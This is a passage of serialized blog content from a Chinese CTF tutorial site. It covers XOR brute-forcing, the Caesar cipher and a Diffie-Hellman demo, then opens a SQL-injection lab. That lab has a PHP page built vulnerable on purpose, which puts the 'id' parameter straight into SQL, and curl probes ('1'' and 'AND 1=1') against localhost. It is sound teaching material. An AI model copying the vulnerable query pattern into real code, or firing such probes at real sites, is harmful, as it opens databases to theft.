0x42 # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[30,2534,2535,2540,2545,2549,2554,2559,2564,2569],{"__ignoreMap":28},[33,2536,2537],{"class":35,"line":36},[33,2538,2539],{},"plain = b\"flag{xor_is_easy}\"\n",[33,2541,2542],{"class":35,"line":47},[33,2543,2544],{},"key = 0x42 # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[33,2546,2547],{"class":35,"line":70},[33,2548,1460],{"emptyLinePlaceholder":1373},[33,2550,2551],{"class":35,"line":80},[33,2552,2553],{},"cipher = bytes([b ^ key for b in plain])\n",[33,2555,2556],{"class":35,"line":452},[33,2557,2558],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n",[33,2560,2561],{"class":35,"line":458},[33,2562,2563],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[33,2565,2566],{"class":35,"line":464},[33,2567,2568],{},"print(cipher.hex())\n",[33,2570,2571],{"class":35,"line":470},[33,2572,2573],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[16,2575,2432],{},[23,2577,2580],{"className":2578,"code":2579,"language":175,"meta":28},[173],"242e2325393a2d301d2b311d2723313b3f\n",[30,2581,2579],{"__ignoreMap":28},[147,2583,2585],{"id":2584},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[16,2587,2588,2590],{},[136,2589,138],{},"：不知道密钥时，把 256 种可能全部试一遍。",[16,2592,2593,2595,2596,2599,2600,2603],{},[136,2594,144],{},"：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[30,2597,2598],{},"flag{"," 开头，这就是天然的判据。用 ",[30,2601,2602],{},"b\"flag{\" in plain"," 过滤即可。",[23,2605,2607],{"className":1238,"code":2606,"language":1240,"meta":28,"style":28},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n # 枚举 0-255 共 256 个可能的单字节密钥。\n plain = bytes([b ^ k for b in cipher])\n # 对每个密钥尝试解密：每个密文字节与 k 异或。\n # 异或的自反性保证：加密用 key，解密用同一个 key。\n if b\"flag{\" in plain:\n # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n print(\"key =\", k) # 输出密钥数值\n print(plain.decode()) # 输出解密出的明文\n break\n # 找到即停止，避免继续打印无意义结果。\n",[30,2608,2609,2614,2619,2623,2628,2633,2638,2643,2648,2653,2658,2663,2668,2673],{"__ignoreMap":28},[33,2610,2611],{"class":35,"line":36},[33,2612,2613],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[33,2615,2616],{"class":35,"line":47},[33,2617,2618],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[33,2620,2621],{"class":35,"line":70},[33,2622,1460],{"emptyLinePlaceholder":1373},[33,2624,2625],{"class":35,"line":80},[33,2626,2627],{},"for k in range(256):\n",[33,2629,2630],{"class":35,"line":452},[33,2631,2632],{}," # 枚举 0-255 共 256 个可能的单字节密钥。\n",[33,2634,2635],{"class":35,"line":458},[33,2636,2637],{}," plain = bytes([b ^ k for b in cipher])\n",[33,2639,2640],{"class":35,"line":464},[33,2641,2642],{}," # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[33,2644,2645],{"class":35,"line":470},[33,2646,2647],{}," # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[33,2649,2650],{"class":35,"line":476},[33,2651,2652],{}," if b\"flag{\" in plain:\n",[33,2654,2655],{"class":35,"line":482},[33,2656,2657],{}," # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[33,2659,2660],{"class":35,"line":1295},[33,2661,2662],{}," print(\"key =\", k) # 输出密钥数值\n",[33,2664,2665],{"class":35,"line":1301},[33,2666,2667],{}," print(plain.decode()) # 输出解密出的明文\n",[33,2669,2670],{"class":35,"line":1505},[33,2671,2672],{}," break\n",[33,2674,2675],{"class":35,"line":1511},[33,2676,2677],{}," # 找到即停止，避免继续打印无意义结果。\n",[16,2679,2432],{},[23,2681,2684],{"className":2682,"code":2683,"language":175,"meta":28},[173],"key = 66\nflag{xor_is_easy}\n",[30,2685,2683],{"__ignoreMap":28},[16,2687,2688,2689,2691],{},"判断依据：明文包含 ",[30,2690,2598],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[147,2693,2695],{"id":2694},"_33-多字节-xor-简介","3.3 多字节 XOR 简介",[16,2697,2698,2699,561],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 ",[30,2700,2701],{},"xortool",[23,2703,2705],{"className":25,"code":2704,"language":27,"meta":28,"style":28},"pip install xortool\nxortool -x -c 20 cipher.bin\n",[30,2706,2707,2717],{"__ignoreMap":28},[33,2708,2709,2712,2714],{"class":35,"line":36},[33,2710,2711],{"class":39},"pip",[33,2713,106],{"class":43},[33,2715,2716],{"class":43}," xortool\n",[33,2718,2719,2721,2724,2727,2730],{"class":35,"line":47},[33,2720,2701],{"class":39},[33,2722,2723],{"class":241}," -x",[33,2725,2726],{"class":241}," -c",[33,2728,2729],{"class":241}," 20",[33,2731,2732],{"class":43}," cipher.bin\n",[11,2734,2736],{"id":2735},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[16,2738,2739],{},"每个字母平移固定位数：",[23,2741,2743],{"className":1238,"code":2742,"language":1240,"meta":28,"style":28},"def caesar(s, shift):\n out = \"\"\n for c in s:\n if c.isalpha():\n base = ord('a') if c.islower() else ord('A')\n out += chr((ord(c) - base + shift) % 26 + base)\n else:\n out += c\n return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3)) # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3)) # 解密\n",[30,2744,2745,2750,2755,2760,2765,2770,2775,2780,2785,2790,2794,2799],{"__ignoreMap":28},[33,2746,2747],{"class":35,"line":36},[33,2748,2749],{},"def caesar(s, shift):\n",[33,2751,2752],{"class":35,"line":47},[33,2753,2754],{}," out = \"\"\n",[33,2756,2757],{"class":35,"line":70},[33,2758,2759],{}," for c in s:\n",[33,2761,2762],{"class":35,"line":80},[33,2763,2764],{}," if c.isalpha():\n",[33,2766,2767],{"class":35,"line":452},[33,2768,2769],{}," base = ord('a') if c.islower() else ord('A')\n",[33,2771,2772],{"class":35,"line":458},[33,2773,2774],{}," out += chr((ord(c) - base + shift) % 26 + base)\n",[33,2776,2777],{"class":35,"line":464},[33,2778,2779],{}," else:\n",[33,2781,2782],{"class":35,"line":470},[33,2783,2784],{}," out += c\n",[33,2786,2787],{"class":35,"line":476},[33,2788,2789],{}," return out\n",[33,2791,2792],{"class":35,"line":482},[33,2793,1460],{"emptyLinePlaceholder":1373},[33,2795,2796],{"class":35,"line":1295},[33,2797,2798],{},"print(caesar(\"flag{caesar_is_fun}\", 3)) # 加密\n",[33,2800,2801],{"class":35,"line":1301},[33,2802,2803],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3)) # 解密\n",[16,2805,2432],{},[23,2807,2810],{"className":2808,"code":2809,"language":175,"meta":28},[173],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[30,2811,2809],{"__ignoreMap":28},[11,2813,2815],{"id":2814},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[147,2817,2819],{"id":2818},"_51-要解决的问题","5.1 要解决的问题",[16,2821,2822],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[147,2824,2826],{"id":2825},"_52-流程","5.2 流程",[16,2828,2829,2831],{},[136,2830,138],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[16,2833,2834,2836],{},[136,2835,144],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[789,2838,2839,2847,2856,2864],{},[792,2840,2841,2842,2844,2845,301],{},"双方公开约定大素数 ",[30,2843,16],{}," 与生成元 ",[30,2846,64],{},[792,2848,2849,2850,2852,2853,301],{},"Alice 选私钥 ",[30,2851,2500],{},"，发送 ",[30,2854,2855],{},"A = g^a mod p",[792,2857,2858,2859,2852,2861,301],{},"Bob 选私钥 ",[30,2860,995],{},[30,2862,2863],{},"B = g^b mod p",[792,2865,2866,2867,2870,2871,2874,2875,301],{},"双方分别计算 ",[30,2868,2869],{},"B^a mod p"," 与 ",[30,2872,2873],{},"A^b mod p","，得到相同值 ",[30,2876,2877],{},"g^(ab) mod p",[147,2879,2881],{"id":2880},"_53-最小实现","5.3 最小实现",[23,2883,2885],{"className":1238,"code":2884,"language":1240,"meta":28,"style":28},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[30,2886,2887,2892,2897,2902,2907,2912,2916,2921,2926,2931,2936,2941,2945,2950,2955,2960,2965,2970,2974,2979,2985,2991,2997,3003],{"__ignoreMap":28},[33,2888,2889],{"class":35,"line":36},[33,2890,2891],{},"p, g = 0xffffffffffffffc5, 2\n",[33,2893,2894],{"class":35,"line":47},[33,2895,2896],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[33,2898,2899],{"class":35,"line":70},[33,2900,2901],{},"# g：生成元，双方公开约定。\n",[33,2903,2904],{"class":35,"line":80},[33,2905,2906],{},"a, b = 1234567, 7654321\n",[33,2908,2909],{"class":35,"line":452},[33,2910,2911],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[33,2913,2914],{"class":35,"line":458},[33,2915,1460],{"emptyLinePlaceholder":1373},[33,2917,2918],{"class":35,"line":464},[33,2919,2920],{},"A = pow(g, a, p)\n",[33,2922,2923],{"class":35,"line":470},[33,2924,2925],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[33,2927,2928],{"class":35,"line":476},[33,2929,2930],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[33,2932,2933],{"class":35,"line":482},[33,2934,2935],{},"B = pow(g, b, p)\n",[33,2937,2938],{"class":35,"line":1295},[33,2939,2940],{},"# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n",[33,2942,2943],{"class":35,"line":1301},[33,2944,1460],{"emptyLinePlaceholder":1373},[33,2946,2947],{"class":35,"line":1505},[33,2948,2949],{},"s_alice = pow(B, a, p)\n",[33,2951,2952],{"class":35,"line":1511},[33,2953,2954],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[33,2956,2957],{"class":35,"line":1517},[33,2958,2959],{},"s_bob = pow(A, b, p)\n",[33,2961,2962],{"class":35,"line":1523},[33,2963,2964],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[33,2966,2967],{"class":35,"line":1529},[33,2968,2969],{},"# 两个结果相等，这就是共享密钥。\n",[33,2971,2972],{"class":35,"line":1535},[33,2973,1460],{"emptyLinePlaceholder":1373},[33,2975,2976],{"class":35,"line":1541},[33,2977,2978],{},"print(\"A =\", A)\n",[33,2980,2982],{"class":35,"line":2981},20,[33,2983,2984],{},"print(\"B =\", B)\n",[33,2986,2988],{"class":35,"line":2987},21,[33,2989,2990],{},"print(\"Alice 计算:\", s_alice)\n",[33,2992,2994],{"class":35,"line":2993},22,[33,2995,2996],{},"print(\"Bob 计算:\", s_bob)\n",[33,2998,3000],{"class":35,"line":2999},23,[33,3001,3002],{},"print(\"一致:\", s_alice == s_bob)\n",[33,3004,3006],{"class":35,"line":3005},24,[33,3007,3008],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[16,3010,2432],{},[23,3012,3015],{"className":3013,"code":3014,"language":175,"meta":28},[173],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[30,3016,3014],{"__ignoreMap":28},[16,3018,3019,3020,3023,3024,3026],{},"窃听者只能看到 ",[30,3021,3022],{},"p, g, A, B","，要算出 ",[30,3025,2500],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[11,3028,1038],{"id":1037},[147,3030,3032],{"id":3031},"工具-1cyberchef","工具 1：CyberChef",[16,3034,3035],{},"浏览器工具，三个常用操作：",[490,3037,3038,3048],{},[493,3039,3040],{},[496,3041,3042,3045],{},[499,3043,3044],{},"操作",[499,3046,3047],{},"用法",[506,3049,3050,3058,3066],{},[496,3051,3052,3055],{},[511,3053,3054],{},"From Base64",[511,3056,3057],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[496,3059,3060,3063],{},[511,3061,3062],{},"From Hex",[511,3064,3065],{},"拖入 From Hex 解码十六进制",[496,3067,3068,3071],{},[511,3069,3070],{},"Magic",[511,3072,3073],{},"直接粘贴未知文本，自动猜测编码方式",[147,3075,3077],{"id":3076},"工具-2python-标准库","工具 2：Python 标准库",[23,3079,3081],{"className":1238,"code":3080,"language":1240,"meta":28,"style":28},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\")) # b'flag'\nprint(bytes.fromhex(\"666c6167\")) # b'flag'\nprint(ord('A')) # 65，ASCII 编码\n",[30,3082,3083,3088,3092,3097,3102],{"__ignoreMap":28},[33,3084,3085],{"class":35,"line":36},[33,3086,3087],{},"import base64, binascii\n",[33,3089,3090],{"class":35,"line":47},[33,3091,1460],{"emptyLinePlaceholder":1373},[33,3093,3094],{"class":35,"line":70},[33,3095,3096],{},"print(base64.b64decode(\"ZmxhZw==\")) # b'flag'\n",[33,3098,3099],{"class":35,"line":80},[33,3100,3101],{},"print(bytes.fromhex(\"666c6167\")) # b'flag'\n",[33,3103,3104],{"class":35,"line":452},[33,3105,3106],{},"print(ord('A')) # 65，ASCII 编码\n",[147,3108,3110],{"id":3109},"工具-3pycryptodome","工具 3：pycryptodome",[16,3112,3113],{},"CTF 密码学最常用的库，三个函数：",[23,3115,3117],{"className":1238,"code":3116,"language":1240,"meta":28,"style":28},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7)) # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167)) # b'flag'\nprint(bytes_to_long(b\"flag\")) # 1718378855\n",[30,3118,3119,3124,3128,3133,3138],{"__ignoreMap":28},[33,3120,3121],{"class":35,"line":36},[33,3122,3123],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[33,3125,3126],{"class":35,"line":47},[33,3127,1460],{"emptyLinePlaceholder":1373},[33,3129,3130],{"class":35,"line":70},[33,3131,3132],{},"print(inverse(3, 7)) # 5：3 在模 7 下的逆元\n",[33,3134,3135],{"class":35,"line":80},[33,3136,3137],{},"print(long_to_bytes(0x666c6167)) # b'flag'\n",[33,3139,3140],{"class":35,"line":452},[33,3141,3142],{},"print(bytes_to_long(b\"flag\")) # 1718378855\n",[16,3144,2432],{},[23,3146,3149],{"className":3147,"code":3148,"language":175,"meta":28},[173],"5\nb'flag'\n1718378855\n",[30,3150,3148],{"__ignoreMap":28},[11,3152,3154],{"id":3153},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[16,3156,3157],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[23,3159,3161],{"className":3160,"code":2579,"language":175,"meta":28},[173],[30,3162,2579],{"__ignoreMap":28},[16,3164,3165],{},"解题脚本：",[16,3167,3168,3170,3171,3173],{},[136,3169,144],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[30,3172,2598],{}," 前缀过滤正确结果。",[23,3175,3177],{"className":1238,"code":3176,"language":1240,"meta":28,"style":28},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n plain = bytes([b ^ k for b in cipher])\n # 每个密文字节与候选密钥 k 异或，得到候选明文。\n if b\"flag{\" in plain:\n print(\"key =\", k) # 预期 66\n print(plain.decode()) # 预期 flag{xor_is_easy}\n break\n",[30,3178,3179,3184,3189,3193,3198,3202,3206,3210,3215,3219,3224,3229],{"__ignoreMap":28},[33,3180,3181],{"class":35,"line":36},[33,3182,3183],{},"from binascii import unhexlify\n",[33,3185,3186],{"class":35,"line":47},[33,3187,3188],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[33,3190,3191],{"class":35,"line":70},[33,3192,1460],{"emptyLinePlaceholder":1373},[33,3194,3195],{"class":35,"line":80},[33,3196,3197],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[33,3199,3200],{"class":35,"line":452},[33,3201,1460],{"emptyLinePlaceholder":1373},[33,3203,3204],{"class":35,"line":458},[33,3205,2627],{},[33,3207,3208],{"class":35,"line":464},[33,3209,2637],{},[33,3211,3212],{"class":35,"line":470},[33,3213,3214],{}," # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[33,3216,3217],{"class":35,"line":476},[33,3218,2652],{},[33,3220,3221],{"class":35,"line":482},[33,3222,3223],{}," print(\"key =\", k) # 预期 66\n",[33,3225,3226],{"class":35,"line":1295},[33,3227,3228],{}," print(plain.decode()) # 预期 flag{xor_is_easy}\n",[33,3230,3231],{"class":35,"line":1301},[33,3232,2672],{},[16,3234,2432],{},[23,3236,3238],{"className":3237,"code":2683,"language":175,"meta":28},[173],[30,3239,2683],{"__ignoreMap":28},[11,3241,1337],{"id":1336},[16,3243,3244],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[1350,3246,3247],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":28,"searchDepth":47,"depth":47,"links":3249},[3250,3251,3252,3253,3254,3255,3256,3257],{"id":2268,"depth":70,"text":2269},{"id":89,"depth":70,"text":90},{"id":2508,"depth":70,"text":2509},{"id":2735,"depth":70,"text":2736},{"id":2814,"depth":70,"text":2815},{"id":1037,"depth":70,"text":1038},{"id":3153,"depth":70,"text":3154},{"id":1336,"depth":70,"text":1337},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。",{"date":1366,"image":3260,"alt":3261,"tags":3262,"published":1373},"/blogs-img/blog3.png","CTF 密码学入门",[1370,3263,1372],"crypto","/blogs/ctf-crypto-overview",{"title":2263,"description":3258},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",{"id":3269,"title":3270,"body":3271,"description":4673,"extension":1364,"meta":4674,"navigation":1373,"ogImage":4675,"path":4680,"seo":4681,"stem":4682,"__hash__":4683},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":8,"value":3272,"toc":4662},[3273,3277,3280,3297,3307,3318,3325,3329,3333,3366,3372,3376,3379,3414,3419,3467,3473,3479,3483,3492,3497,3501,3506,3525,3527,3533,3537,3542,3558,3561,3567,3574,3578,3594,3600,3604,3620,3623,3637,3641,3646,3651,3658,3662,3670,3719,3722,3726,3734,3750,3756,3760,3776,3780,3784,3800,3805,3809,3825,3829,3844,3848,3864,3869,3875,3879,3884,3887,3891,3907,3912,3928,3933,3936,3945,4085,4088,4094,4098,4105,4121,4124,4128,4133,4137,4142,4165,4167,4173,4177,4197,4202,4206,4238,4245,4249,4293,4302,4309,4313,4318,4324,4501,4504,4516,4518,4524,4527,4648,4652,4659],[11,3274,3276],{"id":3275},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[16,3278,3279],{},"普通程序员的查询代码：",[23,3281,3285],{"className":3282,"code":3283,"language":3284,"meta":28,"style":28},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php",[30,3286,3287,3292],{"__ignoreMap":28},[33,3288,3289],{"class":35,"line":36},[33,3290,3291],{},"$id = $_GET['id'];\n",[33,3293,3294],{"class":35,"line":47},[33,3295,3296],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[16,3298,3299,3302,3303,3306],{},[30,3300,3301],{},"$id"," 被直接拼进 SQL 字符串。当 ",[30,3304,3305],{},"id=1 OR 1=1"," 时：",[23,3308,3312],{"className":3309,"code":3310,"language":3311,"meta":28,"style":28},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[30,3313,3314],{"__ignoreMap":28},[33,3315,3316],{"class":35,"line":36},[33,3317,3310],{},[16,3319,3320,3321,3324],{},"恒真，返回全表。",[136,3322,3323],{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[11,3326,3328],{"id":3327},"二环境搭建二选一","二、环境搭建（二选一）",[147,3330,3332],{"id":3331},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[23,3334,3336],{"className":25,"code":3335,"language":27,"meta":28,"style":28},"git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n",[30,3337,3338,3349,3356],{"__ignoreMap":28},[33,3339,3340,3343,3346],{"class":35,"line":36},[33,3341,3342],{"class":39},"git",[33,3344,3345],{"class":43}," clone",[33,3347,3348],{"class":43}," https://github.com/Audi-1/sqli-labs.git\n",[33,3350,3351,3353],{"class":35,"line":47},[33,3352,771],{"class":770},[33,3354,3355],{"class":43}," sqli-labs\n",[33,3357,3358,3360,3363],{"class":35,"line":70},[33,3359,3284],{"class":39},[33,3361,3362],{"class":241}," -S",[33,3364,3365],{"class":43}," 127.0.0.1:8000\n",[16,3367,3368,3369,301],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[30,3370,3371],{},"Less-1",[147,3373,3375],{"id":3374},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[16,3377,3378],{},"数据库：",[23,3380,3382],{"className":3309,"code":3381,"language":3311,"meta":28,"style":28},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[30,3383,3384,3389,3394,3399,3404,3409],{"__ignoreMap":28},[33,3385,3386],{"class":35,"line":36},[33,3387,3388],{},"CREATE DATABASE ctf;\n",[33,3390,3391],{"class":35,"line":47},[33,3392,3393],{},"USE ctf;\n",[33,3395,3396],{"class":35,"line":70},[33,3397,3398],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[33,3400,3401],{"class":35,"line":80},[33,3402,3403],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[33,3405,3406],{"class":35,"line":452},[33,3407,3408],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[33,3410,3411],{"class":35,"line":458},[33,3412,3413],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[16,3415,3416,561],{},[30,3417,3418],{},"vuln.php",[23,3420,3422],{"className":3282,"code":3421,"language":3284,"meta":28,"style":28},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[30,3423,3424,3429,3434,3438,3443,3448,3453,3458,3462],{"__ignoreMap":28},[33,3425,3426],{"class":35,"line":36},[33,3427,3428],{},"\u003C?php\n",[33,3430,3431],{"class":35,"line":47},[33,3432,3433],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[33,3435,3436],{"class":35,"line":70},[33,3437,3291],{},[33,3439,3440],{"class":35,"line":80},[33,3441,3442],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[33,3444,3445],{"class":35,"line":452},[33,3446,3447],{},"$result = $conn->query($sql);\n",[33,3449,3450],{"class":35,"line":458},[33,3451,3452],{},"while ($row = $result->fetch_assoc()) {\n",[33,3454,3455],{"class":35,"line":464},[33,3456,3457],{}," echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[33,3459,3460],{"class":35,"line":470},[33,3461,1475],{},[33,3463,3464],{"class":35,"line":476},[33,3465,3466],{},"?>\n",[16,3468,3469,3470,301],{},"启动：",[30,3471,3472],{},"php -S 127.0.0.1:8000",[3474,3475,3476],"blockquote",{},[16,3477,3478],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[11,3480,3482],{"id":3481},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[16,3484,3485,3487,3488,3491],{},[136,3486,138],{},"：确认参数 ",[30,3489,3490],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[16,3493,3494,3496],{},[136,3495,144],{},"：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[147,3498,3500],{"id":3499},"请求-1正常请求","请求 1：正常请求",[16,3502,3503,3505],{},[136,3504,138],{},"：记录正常响应的样子，作为后续对比的基线。",[23,3507,3509],{"className":25,"code":3508,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[30,3510,3511],{"__ignoreMap":28},[33,3512,3513,3516,3519,3522],{"class":35,"line":36},[33,3514,3515],{"class":39},"curl",[33,3517,3518],{"class":412}," \"",[33,3520,3521],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1",[33,3523,3524],{"class":412},"\"\n",[16,3526,169],{},[23,3528,3531],{"className":3529,"code":3530,"language":175,"meta":28},[173],"1 hello world\n",[30,3532,3530],{"__ignoreMap":28},[147,3534,3536],{"id":3535},"请求-2单引号","请求 2：单引号",[16,3538,3539,3541],{},[136,3540,138],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[23,3543,3545],{"className":25,"code":3544,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[30,3546,3547],{"__ignoreMap":28},[33,3548,3549,3551,3553,3556],{"class":35,"line":36},[33,3550,3515],{"class":39},[33,3552,3518],{"class":412},[33,3554,3555],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1'",[33,3557,3524],{"class":412},[16,3559,3560],{},"预期输出（报错）：",[23,3562,3565],{"className":3563,"code":3564,"language":175,"meta":28},[173],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[30,3566,3564],{"__ignoreMap":28},[16,3568,3569,3570,3573],{},"原因：语句变成 ",[30,3571,3572],{},"WHERE id = 1'","，单引号未闭合。",[147,3575,3577],{"id":3576},"请求-3and-11","请求 3：AND 1=1",[23,3579,3581],{"className":25,"code":3580,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[30,3582,3583],{"__ignoreMap":28},[33,3584,3585,3587,3589,3592],{"class":35,"line":36},[33,3586,3515],{"class":39},[33,3588,3518],{"class":412},[33,3590,3591],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[33,3593,3524],{"class":412},[16,3595,169,3596,3599],{},[30,3597,3598],{},"1 hello world","（条件真）。",[147,3601,3603],{"id":3602},"请求-4and-12","请求 4：AND 